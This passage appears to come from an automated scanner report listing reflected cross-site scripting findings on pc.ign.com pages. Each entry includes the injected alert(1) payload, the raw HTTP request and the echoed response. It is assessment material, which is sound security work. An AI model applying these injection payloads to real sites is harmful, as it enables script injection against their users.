Host:	http://pc.ign.com
Path:	/articles/114/1147797p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a643b"-alert(1)-"d54227ec17c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147797p1.html?a643b"-alert(1)-"d54227ec17c=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1256708973-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043720208v-1n-12mc+1297043720208mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120361

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/114/1147797p1.html?a643b"-alert(1)-"d54227ec17c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.329. http://pc.ign.com/articles/114/1147797p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1147797p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15827"><script>alert(1)</script>bb411baefd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147797p1.html?15827"><script>alert(1)</script>bb411baefd=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-861407673-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:17 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043717791v-1n-12mc+1297043717791mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118209

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/114/1147797p1.html?15827"><script>alert(1)</script>bb411baefd=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.330. http://pc.ign.com/articles/114/1147953p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1147953p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c58c7"-alert(1)-"732382c3209 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147953p1.html?c58c7"-alert(1)-"732382c3209=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-1119796390-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043718306v-1n-12mc+1297043718306mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 99479

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/114/1147953p1.html?c58c7"-alert(1)-"732382c3209=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.331. http://pc.ign.com/articles/114/1147953p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1147953p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c63f"><script>alert(1)</script>f87914668b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147953p1.html?7c63f"><script>alert(1)</script>f87914668b3=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:16 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:16 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-1989501105-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:15 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043716018v-1n-12mc+1297043716018mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 100305

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/114/1147953p1.html?7c63f"><script>alert(1)</script>f87914668b3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.332. http://pc.ign.com/articles/114/1147988p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1147988p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f327"><script>alert(1)</script>262c2351f1b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147988p1.html?6f327"><script>alert(1)</script>262c2351f1b=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-1742381192-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043698498v-1n-12mc+1297043698498mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 123771

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/articles/114/1147988p1.html?6f327"><script>alert(1)</script>262c2351f1b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.333. http://pc.ign.com/articles/114/1147988p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/articles/114/1147988p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f648"-alert(1)-"f6d246335de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147988p1.html?3f648"-alert(1)-"f6d246335de=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:55:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-2111266048-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043705920v-1n-12mc+1297043705920mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129786

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/articles/114/1147988p1.html?3f648"-alert(1)-"f6d246335de=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.334. http://pc.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8354"><script>alert(1)</script>69bfb467085 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?d8354"><script>alert(1)</script>69bfb467085=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-1504094201-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043682509v-1n-12mc+1297043682509mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 149817

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>PC Game Reviews, P
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/features.html?d8354"><script>alert(1)</script>69bfb467085=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.335. http://pc.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d013"-alert(1)-"443171ee2b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?1d013"-alert(1)-"443171ee2b9=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-613987857-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043687520v-1n-12mc+1297043687520mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144574

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>PC Game Reviews, P
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/features.html?1d013"-alert(1)-"443171ee2b9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.336. http://pc.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7dda"-alert(1)-"d40ae7fcb0d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/games.html?f7dda"-alert(1)-"d40ae7fcb0d=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:45 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-187915259-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043684755v-1n-12mc+1297043684756mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 183608

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All PC Games - Com
...[SNIP]...
f(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/games.html?f7dda"-alert(1)-"d40ae7fcb0d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.337. http://pc.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload faee5"><script>alert(1)</script>9fb62e82277 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/games.html?faee5"><script>alert(1)</script>9fb62e82277=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-1591219331-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043679399v-1n-12mc+1297043679399mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 188911

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All PC Games - Com
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/games.html?faee5"><script>alert(1)</script>9fb62e82277=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.338. http://pc.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ccff"-alert(1)-"3eadde19366 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/images.html?5ccff"-alert(1)-"3eadde19366=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-635576214-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:50 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043690857v-1n-12mc+1297043690857mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122775

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PC: Games, Che
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/images.html?5ccff"-alert(1)-"3eadde19366=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.339. http://pc.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6886d"><script>alert(1)</script>66db476d1bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/images.html?6886d"><script>alert(1)</script>66db476d1bf=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-1102047861-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:48 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043688503v-1n-12mc+1297043688503mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122835

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PC: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/images.html?6886d"><script>alert(1)</script>66db476d1bf=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.340. http://pc.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56a5c"><script>alert(1)</script>f80a7fe56bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?56a5c"><script>alert(1)</script>f80a7fe56bd=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-1140074794-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043695217v-1n-12mc+1297043695217mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 140921

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/index/latest-updates.html?56a5c"><script>alert(1)</script>f80a7fe56bd=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.341. http://pc.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d082b"-alert(1)-"7e9ec9474ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?d082b"-alert(1)-"7e9ec9474ab=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:54:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:54:57 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1578457001-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:57 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043697399v-1n-12mc+1297043697400mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 146910

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://pc.ign.com/index/latest-updates.html?d082b"-alert(1)-"7e9ec9474ab=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.342. http://pc.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pc.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 249ec"-alert(1)-"f01e33a980f was submitted in the types parameter. This input was echoed unmodified in the application's response.

